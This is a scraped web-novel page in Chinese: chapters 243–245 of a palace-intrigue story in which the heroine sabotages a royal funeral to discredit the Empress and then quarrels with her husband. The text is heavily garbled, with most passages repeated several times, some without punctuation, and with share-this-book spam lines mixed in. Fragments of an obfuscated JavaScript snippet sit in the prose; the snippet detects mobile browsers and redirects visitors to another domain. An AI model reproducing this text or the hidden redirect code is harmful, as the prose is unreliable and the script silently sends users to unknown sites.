柳玉满脸是汗地走到云清婳身边她的嘴唇发白 云清婳将她带到灵堂外“办得怎么样?” 她的声音嘶哑:“您交代的事我都办妥了。我不停地找人说护国寺的和尚、宫女、太监、各个府邸的妾室都被我拉着聊了个遍。” 跟来的裴墨染闻言觉得惊奇原来柳玉的作用是这个。 他俯下身好奇地问:“蛮蛮陈如燕有什么用处?” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 姜瑶儿在后面跪拜。 姜瑶儿已经就绪,她跪在蒲团上。 “呜呜呜呜……” “呜呜呜皇叔,你怎么就走了……” “皇叔,当年是你教殿下射箭的。” 她哭得情真意切,如丧考妣。 听到哭声,皇上的眼眶也湿润了,他不动声色地用帕子擦去眼角的泪。 裴墨染、云清婳挤出悲意的表情,可不及姜瑶儿万分之一。 他们俩自愧不如。 “呜呜呜……”姜瑶儿清瘦单薄,哭得哀婉。 “她是谁家的?皇弟府中似乎没这个女眷。”皇上轻扬下巴,点着姜瑶儿。 御前太监弓着腰,恭敬地答道:“是东宫的姜氏。” “嗯。”皇上红着眼眶颔首。 这些皇儿没一个真心的,就裴墨染还算有点良心。 若不是裴墨染时常念叨赤阳王的情谊,他的妾室怎会哭得这般伤心? 皇后气得差点咬碎银牙。 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 明明是她办的丧礼,可风头全被东宫抢走了! 这怎么能忍? 裴云澈轻蔑一笑:“丢人现眼!” “……”裴墨染根本没眼看。 他恨不得找条地缝钻进去。 其实,云清婳也觉得丢人。 但皇上这个老登就吃这一套啊! 只有有效,丢不丢人不重要。 云清婳放任姜瑶儿哭。 姜瑶儿代表着东宫,她越伤心,就表示东宫越伤心。 他们就是要众人听到东宫的哀悼! 一旁,皇后狠狠瞪着云清婳,她气急败坏道:“你的手段也不过如此,都是些上不得台面的把戏。” 云清婳俏皮地冲她眨眨眼,“臣妾还有更上不得台面的呢。” “什么?”皇后的细眉一挑,眼中出现片刻慌乱。 这个**居然还想了其他招数对付她? 云清婳笑而不语。 皇后不会以为办了丧礼就赢了吧? 办丧礼是一回事,把丧礼办好是另一回事。 一阵脚步声传来。 柳玉满脸是汗地走到云清婳身边,她的嘴唇发白,口干舌燥,嗓子眼都要冒火。 云清婳将她带到灵堂外,“办得怎么样?” 她的声音嘶哑:“您交代的事我都办妥了。我不停地找人说,护国寺的和尚、宫女、太监、各个府邸的妾室都被我拉着聊了个遍。” 跟来的裴墨染闻言觉得惊奇,原来柳玉的作用是这个。 他俯下身,好奇地问:“蛮蛮,陈如燕有什么用处?” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 姜瑶儿在后面跪拜。 姜瑶儿已经就绪,她跪在蒲团上。 “呜呜呜呜…… “呜呜呜皇叔,你怎么就走了…… “皇叔,当年是你教殿下射箭的。 她哭得情真意切,如丧考妣。 听到哭声,皇上的眼眶也湿润了,他不动声色地用帕子擦去眼角的泪。 裴墨染、云清婳挤出悲意的表情,可不及姜瑶儿万分之一。 他们俩自愧不如。 “呜呜呜……姜瑶儿清瘦单薄,哭得哀婉。 “她是谁家的?皇弟府中似乎没这个女眷。皇上轻扬下巴,点着姜瑶儿。 御前太监弓着腰,恭敬地答道:“是东宫的姜氏。 “嗯。皇上红着眼眶颔首。 这些皇儿没一个真心的,就裴墨染还算有点良心。 若不是裴墨染时常念叨赤阳王的情谊,他的妾室怎会哭得这般伤心? 皇后气得差点咬碎银牙。 明明是她办的丧礼,可风头全被东宫抢走了! 这怎么能忍? 裴云澈轻蔑一笑:“丢人现眼! “……裴墨染根本没眼看。 他恨不得找条地缝钻进去。 其实,云清婳也觉得丢人。 但皇上这个老登就吃这一套啊! 只有有效,丢不丢人不重要。 云清婳放任姜瑶儿哭。 姜瑶儿代表着东宫,她越伤心,就表示东宫越伤心。 他们就是要众人听到东宫的哀悼! 一旁,皇后狠狠瞪着云清婳,她气急败坏道:“你的手段也不过如此,都是些上不得台面的把戏。 云清婳俏皮地冲她眨眨眼,“臣妾还有更上不得台面的呢。 “什么?皇后的细眉一挑,眼中出现片刻慌乱。 这个**居然还想了其他招数对付她? 云清婳笑而不语。 皇后不会以为办了丧礼就赢了吧? 办丧礼是一回事,把丧礼办好是另一回事。 一阵脚步声传来。 柳玉满脸是汗地走到云清婳身边,她的嘴唇发白,口干舌燥,嗓子眼都要冒火。 云清婳将她带到灵堂外,“办得怎么样? 她的声音嘶哑:“您交代的事我都办妥了。我不停地找人说,护国寺的和尚、宫女、太监、各个府邸的妾室都被我拉着聊了个遍。 跟来的裴墨染闻言觉得惊奇,原来柳玉的作用是这个。 他俯下身,好奇地问:“蛮蛮,陈如燕有什么用处? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 姜瑶儿在后面跪拜。 姜瑶儿已经就绪,她跪在蒲团上。 “呜呜呜呜…… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029801|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“呜呜呜皇叔,你怎么就走了…… “皇叔,当年是你教殿下射箭的。 她哭得情真意切,如丧考妣。 听到哭声,皇上的眼眶也湿润了,他不动声色地用帕子擦去眼角的泪。 裴墨染、云清婳挤出悲意的表情,可不及姜瑶儿万分之一。 他们俩自愧不如。 “呜呜呜……姜瑶儿清瘦单薄,哭得哀婉。 “她是谁家的?皇弟府中似乎没这个女眷。皇上轻扬下巴,点着姜瑶儿。 御前太监弓着腰,恭敬地答道:“是东宫的姜氏。 “嗯。皇上红着眼眶颔首。 这些皇儿没一个真心的,就裴墨染还算有点良心。 若不是裴墨染时常念叨赤阳王的情谊,他的妾室怎会哭得这般伤心? 皇后气得差点咬碎银牙。 明明是她办的丧礼,可风头全被东宫抢走了! 这怎么能忍? 裴云澈轻蔑一笑:“丢人现眼! “……裴墨染根本没眼看。 他恨不得找条地缝钻进去。 其实,云清婳也觉得丢人。 但皇上这个老登就吃这一套啊! 只有有效,丢不丢人不重要。 云清婳放任姜瑶儿哭。 姜瑶儿代表着东宫,她越伤心,就表示东宫越伤心。 他们就是要众人听到东宫的哀悼! 一旁,皇后狠狠瞪着云清婳,她气急败坏道:“你的手段也不过如此,都是些上不得台面的把戏。 云清婳俏皮地冲她眨眨眼,“臣妾还有更上不得台面的呢。 “什么? 这个**居然还想了其他招数对付她? 云清婳笑而不语。 皇后不会以为办了丧礼就赢了吧? 办丧礼是一回事,把丧礼办好是另一回事。 一阵脚步声传来。 柳玉满脸是汗地走到云清婳身边,她的嘴唇发白,口干舌燥,嗓子眼都要冒火。 云清婳将她带到灵堂外,“办得怎么样? 她的声音嘶哑:“您交代的事我都办妥了。我不停地找人说,护国寺的和尚、宫女、太监、各个府邸的妾室都被我拉着聊了个遍。 跟来的裴墨染闻言觉得惊奇,原来柳玉的作用是这个。 他俯下身,好奇地问:“蛮蛮,陈如燕有什么用处? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 姜瑶儿在后面跪拜。 姜瑶儿已经就绪她跪在蒲团上。 “呜呜呜呜……” “呜呜呜皇叔你怎么就走了……” “皇叔当年是你教殿下射箭的。” 她哭得情真意切如丧考妣。 听到哭声皇上的眼眶也湿润了他不动声色地用帕子擦去眼角的泪。 裴墨染、云清婳挤出悲意的表情可不及姜瑶儿万分之一。 他们俩自愧不如。 “呜呜呜……”姜瑶儿清瘦单薄 “她是谁家的?皇弟府中似乎没这个女眷。”皇上轻扬下巴点着姜瑶儿。 御前太监弓着腰恭敬地答道:“是东宫的姜氏。” “嗯。”皇上红着眼眶颔首。 这些皇儿没一个真心的就裴墨染还算有点良心。 若不是裴墨染时常念叨赤阳王的情谊他的妾室怎会哭得这般伤心? 皇后气得差点咬碎银牙。 明明是她办的丧礼可风头全被东宫抢走了! 这怎么能忍? 裴云澈轻蔑一笑:“丢人现眼!” “……”裴墨染根本没眼看。 他恨不得找条地缝钻进去。 其实云清婳也觉得丢人。 但皇上这个老登就吃这一套啊! 只有有效丢不丢人不重要。 云清婳放任姜瑶儿哭。 姜瑶儿代表着东宫她越伤心就表示东宫越伤心。 他们就是要众人听到东宫的哀悼! 一旁皇后狠狠瞪着云清婳她气急败坏道:“你的手段也不过如此都是些上不得台面的把戏。” 云清婳俏皮地冲她眨眨眼“臣妾还有更上不得台面的呢。” “什么?”皇后的细眉一挑眼中出现片刻慌乱。 这个**居然还想了其他招数对付她? 云清婳笑而不语。 皇后不会以为办了丧礼就赢了吧? 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听说和异性朋友讨论本书情节的,很容易发展成恋人哦 第243章 裴墨染的底线 “不知道。”云清婳摇摇头。 她是真的不知道! 但她感觉陈如燕力大如牛,迟早会派上用场。 走一步,看一步吧。 …… 按照宗庙规矩,赤阳王停尸三日便要下葬。 下葬吉时快到了,皇上不舍地拿起一沓火纸,丢进了火盆中。 “皇弟走好。”他哽咽着,眼中隐隐闪烁着泪光。 太后身子不适,方才匆匆看了一眼便走了。 一墙之隔,几个宫女在殿外闲聊的声音隐隐约约传了进来。 皇上屏息凝神,外面的声音才能被听清。 “听说了吗?皇上命太子妃、皇后操办丧礼,可皇后把国库支的银子全拿走了,太子妃巧妇难为无米之炊啊。” “我姐妹是翊坤宫的,听她说上次皇后用茶杯砸了太子妃,砸中了太子妃的胳膊。” “天啊!太子妃真是惨,幸亏皇上没怪罪下来。” “皇上不怪罪,可旁人会怎么想?太子妃百口莫辩啊!” “皇后非要把国库的钱霸着,留了多少在手里谁知道呢?” 皇上的脸登时阴沉,他目光凌冽地瞥向皇后。 皇后感受到不善的目光,身子一抖。 潜伏在暗处的危险,让她惊慌失措。 云清婳这个**,究竟憋了什么坏水害她? …… 皇上去偏殿慰问赤阳王妃的路上,又听见许多命妇在禅房中窃窃私语,有理有据的谈论此次丧礼皇后仗势欺人,霸凌太子妃的事。 他毕竟算是“偷听”,不好计较,只能吞下怒火。 “这个蠢货!皇家的颜面都被她丢尽了!”皇上咬牙切齿。 他本意是敲打皇后,让皇后抱有仁慈之心,善待晚辈,与云清婳缓和关系。 可没想到她变本加厉,把家丑闹得人尽皆知! 灵堂中,皇后听到外面皇上的脚步,捏着线香装模作样地拜了拜。 皇上黑着脸踏入灵堂。 裴墨染、云清婳看见皇上的脸色,皆猜到发生了什么。 柳玉的造谣能力极其强悍。 今日人多眼杂,恐怕这会儿护国寺上下都知道皇后苛待了她。 无论皇上走到哪 儿,都能听见风言风语。 皇上就算想淡定,也淡定不了! “不必拜了!皇弟素来厌恶虚情假意!”皇上呵斥。 皇后委屈的红了眼,“皇上,臣妾怎会虚情假意?丧礼都是臣妾跟云澈一手操办,我们的心思无非是让赤阳王安心离去!” “哼。”皇上压制住怒火。 他不想在赤阳王的面前失态,让他不得安宁。 “……”皇后看向云清婳。 一定是这个**动了手脚! 就在这时,丧乐再次奏响。 哭丧的人都被扶走。 “下葬时辰到!”钦天监的官员扯着嗓子喊道。 皇后冲裴云澈递了个眼色。 裴云澈立即站在棺材一角,他被安排跟赤阳王的子嗣一同抬棺。 这引来了皇上赞赏、欣慰的目光。 而裴墨染眸色沉沉。 为了让裴云澈解禁,重回朝堂,他们真是煞费苦心啊。 皇后挑衅的看向裴墨染,就像在说:这就是你忤逆母后的下场!你不听话,母后就只能扶持云澈了! 另一边,陈如燕殷勤地将出丧棒、绳子递给太监,太监在棺材上固定好檀木出丧棒。 云清婳跟陈如燕交换了一个眼神。 裴云澈与赤阳王的儿子分别站在棺材四角,他们抬起棺椁,朝灵堂外走出去。 “父王一路走好!”赤阳王世子哭喊道。 太监在后面撒着纸钱。 吊唁的官员低下头,表示哀悼。 下台阶时,木头发出咔咔的声音。 裴云澈的脸色惊变,与此同时,他手中的出丧棒渐渐出现裂纹 棺椁东倒西歪。 “啊……” “断了,断了……” “棺材不能落地啊!” 所有人的脸精彩纷呈,惊愕惶恐,就好像天要塌下来。 只有云清婳站在灵堂睥睨众生般看着慌乱的众人。 棺材就要落地时,裴墨染眼疾手快地冲上来,抬起了棺椁,吃力地扛在肩膀上。 他高声命令:“快换新的出丧棒过来!” “棺材要是落地,王爷不得安息啊!幸亏太子殿下眼疾手快,救了王爷!”赤阳王妃感 激的福礼。 裴墨染不敢跟她对视“皇婶见外了。” 他无奈地看向灵堂里的云清婳跟陈如燕。 出丧棒十有**是陈如燕捏断的。 皇上吓得心惊肉跳倘若赤阳王的棺材落地他会自责一辈子! 他看裴墨染的眼神多了几分嘉许嘴里却刻薄地讽刺:“皇后这就是你跟云澈一手操办的丧礼!?这么重要的东西你都不事先检查?” “不……”皇后摇头她吓得面无血色“臣妾检查了 “一定是她、一定是她!方才本宫亲眼看见这个**碰了出丧棒。”皇后指着陈如燕。 陈如燕扭着水蛇腰扑通跪在地上“冤枉啊妾身只是一个弱女子肩不能抗手不能提妾身怎么弄坏出丧棒?妾身只是好心搭了把手而已。” 云清婳的眼尾上扬眸中写满了幸灾乐祸。 无尽的怒火吞噬着皇后的理智她怒不可遏恨不得撕烂云清婳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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飞霜笑得前仰后合,“奴婢都能猜出皇后当时的表情,肯定是气得七窍生烟,却又对您无可奈何。那三位夫人个个都是人才!” 云清婳笑不出来,她的脸上像是覆盖了一层薄薄的愁云。 出丧棒的事,裴墨染肯定知道是她做的。 但是正好碰上了这个契机,她不能放过。 她是现代人,她不迷信。 棺材落地,对她而言就是代表棺材落地了! 没有其他任何寓意。 可在封建古代却是天大的事。 她在护国寺就发现裴墨染的脸色不对劲,之后他更是没有怎么跟她说话。 她想要看看裴墨染的底线! 倘若她暴露了内心的狠毒、阴暗,裴墨染会有什么反应。 将来,她或许会亲手杀掉皇后。 倘若这种程度的恶,裴墨染都不能包容,甚至跟她生气、冷战,那么她训狗还是失败的。 亥时,云清婳将孩子哄睡后,她正欲上榻,寝殿大门被缓缓推开。 裴墨染面无表情的走了进来。 第244章 蛮蛮:我真的生气了! 云清婳笑看着他,双眼闪烁着灵动的光,“夫君。 裴墨染的面色凝重,“蛮蛮。 他缓缓朝她走来,坐在榻上,握住了她的小手,他的手冰凉。 云清婳知道,狗男人这是要秋后算账了。 他若是非要责怪她,就别怪她撒泼! “今日在护国寺,你让陈如燕弄断了出丧棒?他的嗓音低沉喑哑,像是还抱着最后一丝希望。 云清婳颔首,“嗯。 裴墨染叹了口气,他的眸色加深,严肃道:“蛮蛮,日后不可以了,出殡是人生大事,倘若赤阳王的棺椁落地…… “夫君也相信棺材落地,赤阳王的灵魂会不得安息?她反问。 裴墨染沉默了。 他自然不相信。 倘若人真有灵魂,那么他剑下的瓦剌亡灵定恨不得立即杀死他。 “蛮蛮,赤阳王毕竟是长辈,我们对死者要有敬畏之心。他柔声跟她讲道理。 话外音就是她缺德咯? 云清婳在心中冷笑。 想必方才在宫中皇上夸奖了他。 他一边享受着皇上的夸奖,一边又站在道德制高点上指责她心黑,会不会太圣父了? 作为既得利益者,手不染尘,所以就把自己当好人了? 她看着他的眼睛,眼泪瞬间流出来了,“夫君可是在怪我? “我不是这个意思。他手足无措地给她擦拭眼泪,“你为了我才做出如此大逆不道的事情,我怎舍得怪你? 他只是一时之间有点难以接受。 毕竟此事太颠覆伦理纲常、太大逆不道了。 “皇后构陷我,难道我就轻轻反击一下,然后忍气吞声吗?我别无选择!她抽泣起来,单薄的肩膀轻颤。 “夫君,在皇室我们没法做一个好人。我只知道,倘若裴云澈抬棺成功,他今日就会被解禁。 “你看到今日皇上看裴云澈的眼神了吗?皇后为什么让裴云澈抬棺?皇后跟裴云澈虎视眈眈,分明是想要将你取而代之。 “要怪就怪皇后让裴云澈抬棺,否则我绝不会让陈如燕对出丧棒动手。是皇后跟裴云澈一步步,把我逼到这个境地的。 云清婳承认她是在诡辩。 可谁让裴墨染不懂感恩,端碗吃饭,摔碗骂娘呢? 得了她的好处,就少说风凉话。 裴墨染的脸上出现了愧疚,“蛮蛮,我没有怪你的意思,我不信鬼神之说,可……” 他可了半天,也没说出来。 这一次,云清婳是真的生气了。 以前的愤怒全是假的,可今日是真的! 她对裴墨染虽然是虚情假意,可想帮他登上皇位的心是真的。 嫁给他的两年半,她倾尽所有帮他谋夺皇位,这次稍微露出真面目,他就跑来高高在上地给她上课。 他真以为仅凭自己就能这么顺利地当上太子? 他当玩过家家吗? 原著里,他被圈禁、停职、贬谪,最后通过**、厮杀才换来储君之位! 而她帮他节省了三年时间! 他真的让她心寒了。 赤阳王的家属可以怪她,世上的所有人都可以怪她,但唯独裴墨染没资格怪她! “说得倒是好听,方才你分明就是怪我,你说死者为大,你怪我不敬死者。裴墨染,日后你想如何便如何,我不会再插手了!”她的眼神如刀刃,毫无感情地狠狠刺向裴墨染。 裴墨染似乎感到一根冷冽的冰锥刺进了心脏,让他打了个寒颤。 云清婳扯着被褥,转身躺下。 她因为愤怒,通身冰凉。 倘若她扶持的人是裴云澈、睿王,倘若今日得益的人是他们,他们只会欢欣雀跃地感谢她,把她视若珍宝。 而不会把自己当普度众生的圣父,跑过来指责她。 假如她的婆母是虞贵妃,虞贵妃的脸都会笑烂! 而不是像皇后那么可恶,不断的添堵! 她嫁给他,是他的荣幸! 若不是要给姐姐报仇,要让承基登上皇位,他真想改旗易帜,收回她赐予的一切,转而扶持其他干净的皇子! 裴墨染洗漱后,缓缓掀开被褥,躺在她身后。 他伸出胳膊,小心翼翼地落下,想要搂云清婳的腰。 可下一瞬,啪—— 云清婳挥手将他的胳膊打开,她抱着枕头,径自下榻。 “蛮蛮,别走……”裴墨染唤道。 他想要伸手抓住她, 可却不敢,他害怕蛮蛮方才的眼神。 让他感觉很陌生,就好像她从未爱过他。 …… 云清婳去了孩子的寝房。 万嬷嬷看到云清婳,并不意外。 方才寝殿的争吵声传出来了,虽然听不清楚,但也知道有多激烈。 “万嬷嬷辛苦了,今晚我来照看孩子吧。”她声音干哑。 “是。”万嬷嬷为云清婳铺好床便离开了。 飞霜怯生生的推开门,她担心的问:“主子,怎么了?” 她了解主子,主子半夜抱着枕头出来,定是真的生气了。 这么些年,极少人能调动主子的情绪。 云清婳将事情的来龙去脉讲了出来。 飞霜气红了脸,“他赶快回蜀地,让乐山大佛起开,他坐上去!把太子之位让给裴云澈吧!” “奴婢真是越想越气!他凭什么怪您?奴婢这辈子都没见过这么忘恩负义的人!” “主子的手段不光彩,可好处不都被他得了?他矫情什么?皇宫内斗暗潮汹涌,他想用爱与包容感化一切吗?” 看着飞霜为了她上蹿下跳,气得七窍生烟,云清婳反而不生气了。 她笑道:“其实我一开始准备随便闹闹就和好的。可裴墨染真把我气到了!” “主子,奴婢都懂!”飞霜气得腮帮子都鼓了起来,“奴婢今晚睡不着了!彻底被他气醒了!男人没一个好东西!” 云清婳轻点她的鼻尖,“小飞霜,快睡吧,你还要长身体。” “对了,主子,奴婢跟京中的神医素有交集,听神医们说了一件事。然后我又托二公子,在太医院查到了裴云澈的脉案,奴婢推测出了一件事。”飞霜的双眼熠熠生辉。 “什么事?”云清婳问。 飞霜分析:“裴云澈十几岁便收了通房,府中侍妾不少,可她们每次怀孕总是没几个月就流产,或许不是宅斗的问题。” 云清婳福至心灵,眼眸都清亮了几分,“你的意思是……” 她颔首,“奴婢怀疑他精寒。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 可却不敢,他害怕蛮蛮方才的眼神。 让他感觉很陌生,就好像她从未爱过他。 …… 云清婳去了孩子的寝房。 万嬷嬷看到云清婳,并不意外。 方才寝殿的争吵声传出来了,虽然听不清楚,但也知道有多激烈。 “万嬷嬷辛苦了,今晚我来照看孩子吧。”她声音干哑。 “是。”万嬷嬷为云清婳铺好床便离开了。 飞霜怯生生的推开门,她担心的问:“主子,怎么了?” 她了解主子,主子半夜抱着枕头出来,定是真的生气了。 这么些年,极少人能调动主子的情绪。 云清婳将事情的来龙去脉讲了出来。 飞霜气红了脸,“他赶快回蜀地,让乐山大佛起开,他坐上去!把太子之位让给裴云澈吧!” “奴婢真是越想越气!他凭什么怪您?奴婢这辈子都没见过这么忘恩负义的人!” “主子的手段不光彩,可好处不都被他得了?他矫情什么?皇宫内斗暗潮汹涌,他想用爱与包容感化一切吗?” 看着飞霜为了她上蹿下跳,气得七窍生烟,云清婳反而不生气了。 她笑道:“其实我一开始准备随便闹闹就和好的。可裴墨染真把我气到了!” “主子,奴婢都懂!”飞霜气得腮帮子都鼓了起来,“奴婢今晚睡不着了!彻底被他气醒了!男人没一个好东西!” 云清婳轻点她的鼻尖,“小飞霜,快睡吧,你还要长身体。” “对了,主子,奴婢跟京中的神医素有交集,听神医们说了一件事。然后我又托二公子,在太医院查到了裴云澈的脉案,奴婢推测出了一件事。”飞霜的双眼熠熠生辉。 “什么事?”云清婳问。 飞霜分析:“裴云澈十几岁便收了通房,府中侍妾不少,可她们每次怀孕总是没几个月就流产,或许不是宅斗的问题。” 云清婳福至心灵,眼眸都清亮了几分,“你的意思是……” 她颔首,“奴婢怀疑他精寒。” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 可却不敢,他害怕蛮蛮方才的眼神。 让他感觉很陌生,就好像她从未爱过他。 …… 云清婳去了孩子的寝房。 万嬷嬷看到云清婳,并不意外。 方才寝殿的争吵声传出来了,虽然听不清楚,但也知道有多激烈。 “万嬷嬷辛苦了,今晚我来照看孩子吧。”她声音干哑。 “是。”万嬷嬷为云清婳铺好床便离开了。 飞霜怯生生的推开门,她担心的问:“主子,怎么了?” 她了解主子,主子半夜抱着枕头出来,定是真的生气了。 这么些年,极少人能调动主子的情绪。 云清婳将事情的来龙去脉讲了出来。 飞霜气红了脸,“他赶快回蜀地,让乐山大佛起开,他坐上去!把太子之位让给裴云澈吧!” “奴婢真是越想越气!他凭什么怪您?奴婢这辈子都没见过这么忘恩负义的人!” “主子的手段不光彩,可好处不都被他得了?他矫情什么?皇宫内斗暗潮汹涌,他想用爱与包容感化一切吗?” 看着飞霜为了她上蹿下跳,气得七窍生烟,云清婳反而不生气了。 她笑道:“其实我一开始准备随便闹闹就和好的。可裴墨染真把我气到了!” “主子,奴婢都懂!”飞霜气得腮帮子都鼓了起来,“奴婢今晚睡不着了!彻底被他气醒了!男人没一个好东西!” 云清婳轻点她的鼻尖,“小飞霜,快睡吧,你还要长身体。” “对了,主子,奴婢跟京中的神医素有交集,听神医们说了一件事。然后我又托二公子,在太医院查到了裴云澈的脉案,奴婢推测出了一件事。”飞霜的双眼熠熠生辉。 “什么事?”云清婳问。 飞霜分析:“裴云澈十几岁便收了通房,府中侍妾不少,可她们每次怀孕总是没几个月就流产,或许不是宅斗的问题。” 云清婳福至心灵,眼眸都清亮了几分,“你的意思是……” 她颔首,“奴婢怀疑他精寒。” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 可却不敢他害怕蛮蛮方才的眼神。 让他感觉很陌生就好像她从未爱过他。 …… 云清婳去了孩子的寝房。 万嬷嬷看到云清婳并不意外。 方才寝殿的争吵声传出来了虽然听不清楚但也知道有多激烈。 “万嬷嬷辛苦了今晚我来照看孩子吧。”她声音干哑。 “是。”万嬷嬷为云清婳铺好床便离开了。 飞霜怯生生的推开门她担心的问:“主子怎么了?” 她了解主子主子半夜抱着枕头出来定是真的生气了。 这么些年极少人能调动主子的情绪。 云清婳将事情的来龙去脉讲了出来。 飞霜气红了脸“他赶快回蜀地让乐山大佛起开他坐上去!把太子之位让给裴云澈吧!” “奴婢真是越想越气!他凭什么怪您?奴婢这辈子都没见过这么忘恩负义的人!” “主子的手段不光彩可好处不都被他得了?他矫情什么?皇宫内斗暗潮汹涌他想用爱与包容感化一切吗?” 看着飞霜为了她上蹿下跳气得七窍生烟云清婳反而不生气了。 她笑道:“其实我一开始准备随便闹闹就和好的。可裴墨染真把我气到了!” “主子奴婢都懂!”飞霜气得腮帮子都鼓了起来“奴婢今晚睡不着了!彻底被他气醒了!男人没一个好东西!” 云清婳轻点她的鼻尖 “对了主子奴婢跟京中的神医素有交集听神医们说了一件事。然后我又托二公子在太医院查到了裴云澈的脉案奴婢推测出了一件事。”飞霜的双眼熠熠生辉。 “什么事?”云清婳问。 飞霜分析:“裴云澈十几岁便收了通房府中侍妾不少可她们每次怀孕总是没几个月就流产或许不是宅斗的问题。” 云清婳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她颔首,“奴婢怀疑他精寒。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 可却不敢,他害怕蛮蛮方才的眼神。 让他感觉很陌生,就好像她从未爱过他。 …… 云清婳去了孩子的寝房。 万嬷嬷看到云清婳,并不意外。 方才寝殿的争吵声传出来了,虽然听不清楚,但也知道有多激烈。 “万嬷嬷辛苦了,今晚我来照看孩子吧。她声音干哑。 “是。万嬷嬷为云清婳铺好床便离开了。 飞霜怯生生的推开门,她担心的问:“主子,怎么了? 她了解主子,主子半夜抱着枕头出来,定是真的生气了。 这么些年,极少人能调动主子的情绪。 云清婳将事情的来龙去脉讲了出来。 飞霜气红了脸,“他赶快回蜀地,让乐山大佛起开,他坐上去!把太子之位让给裴云澈吧! “奴婢真是越想越气!他凭什么怪您?奴婢这辈子都没见过这么忘恩负义的人! “主子的手段不光彩,可好处不都被他得了?他矫情什么?皇宫内斗暗潮汹涌,他想用爱与包容感化一切吗? 看着飞霜为了她上蹿下跳,气得七窍生烟,云清婳反而不生气了。 她笑道:“其实我一开始准备随便闹闹就和好的。可裴墨染真把我气到了! “主子,奴婢都懂! 云清婳轻点她的鼻尖,“小飞霜,快睡吧,你还要长身体。 “对了,主子,奴婢跟京中的神医素有交集,听神医们说了一件事。然后我又托二公子,在太医院查到了裴云澈的脉案,奴婢推测出了一件事。飞霜的双眼熠熠生辉。 “什么事?云清婳问。 飞霜分析:“裴云澈十几岁便收了通房,府中侍妾不少,可她们每次怀孕总是没几个月就流产,或许不是宅斗的问题。 云清婳福至心灵,眼眸都清亮了几分,“你的意思是…… 她颔首,“奴婢怀疑他精寒。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 可却不敢他害怕蛮蛮方才的眼神。 让他感觉很陌生就好像她从未爱过他。 …… 云清婳去了孩子的寝房。 万嬷嬷看到云清婳并不意外。 方才寝殿的争吵声传出来了虽然听不清楚但也知道有多激烈。 “万嬷嬷辛苦了今晚我来照看孩子吧。”她声音干哑。 “是。”万嬷嬷为云清婳铺好床便离开了。 飞霜怯生生的推开门她担心的问:“主子怎么了?” 她了解主子主子半夜抱着枕头出来 这么些年极少人能调动主子的情绪。 云清婳将事情的来龙去脉讲了出来。 飞霜气红了脸“他赶快回蜀地让乐山大佛起开他坐上去!把太子之位让给裴云澈吧!” “奴婢真是越想越气!他凭什么怪您?奴婢这辈子都没见过这么忘恩负义的人!” “主子的手段不光彩可好处不都被他得了?他矫情什么?皇宫内斗暗潮汹涌他想用爱与包容感化一切吗?” 看着飞霜为了她上蹿下跳气得七窍生烟云清婳反而不生气了。 她笑道:“其实我一开始准备随便闹闹就和好的。可裴墨染真把我气到了!” “主子奴婢都懂!”飞霜气得腮帮子都鼓了起来“奴婢今晚睡不着了!彻底被他气醒了!男人没一个好东西!” 云清婳轻点她的鼻尖“小飞霜快睡吧你还要长身体。” “对了主子奴婢跟京中的神医素有交集听神医们说了一件事。然后我又托二公子在太医院查到了裴云澈的脉案奴婢推测出了一件事。”飞霜的双眼熠熠生辉。 “什么事?”云清婳问。 飞霜分析:“裴云澈十几岁便收了通房府中侍妾不少可她们每次怀孕总是没几个月就流产或许不是宅斗的问题。” 云清婳福至心灵眼眸都清亮了几分“你的意思是……” 她颔首“奴婢怀疑他精寒。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第245章 复仇暂停,我要休息 云清婳嘴边的笑纹不断加深,她冷不丁笑出了声:“呵呵……天助我也!裴云澈有绝嗣症!” 他的精子质量差,胚胎难以正常发育,流产风险极大! 倘若在现代还有一系列的保胎措施,可在古代,裴云澈只能绝嗣! 即使皇上再喜欢裴云澈,又怎么可能把皇位传给一个无子嗣的人? 皇位,她的儿子势在必得! 飞霜心疼地给云清婳捏着肩膀。 今日她陪着赤阳王妃处理了许多丧礼顾不上的细枝末节,帮着赤阳王妃、世子收拾了一帮外室、私生子,将赤阳王借给皇亲国戚的银两、田亩统统要了回来。 “主子受累了。”飞霜感受到云清婳的肩膀僵硬,“只是您跟殿下怎么办?真的要闹下去吗?” “飞霜,我也是人,我也有脾气。付出跟得到不成正比,我也会失望、生气。”云清婳陈述着心里的真实感受,语气平缓。 她生性残暴,对人没什么感情,脾气本就不好。 更何况,裴墨染这次是真的让她生气了。 在飞霜心里,主子是理智、果决、爱恨分明的。 倘若殿下变心了、不爱主子了,主子反而不会放在心上。 可殿下是个没心肝的,主子为了帮他,冒了多大的风险? 结果就换来一句:日后不准了,对死者要尊重。 这句话没问题! 但从裴墨染嘴里说出来就很有问题! 这哪像夫妻? 分明是先生与学生,上位者与下位者! “主子,您准备什么时候跟殿下和好?”飞霜问出当下最担心的问题。 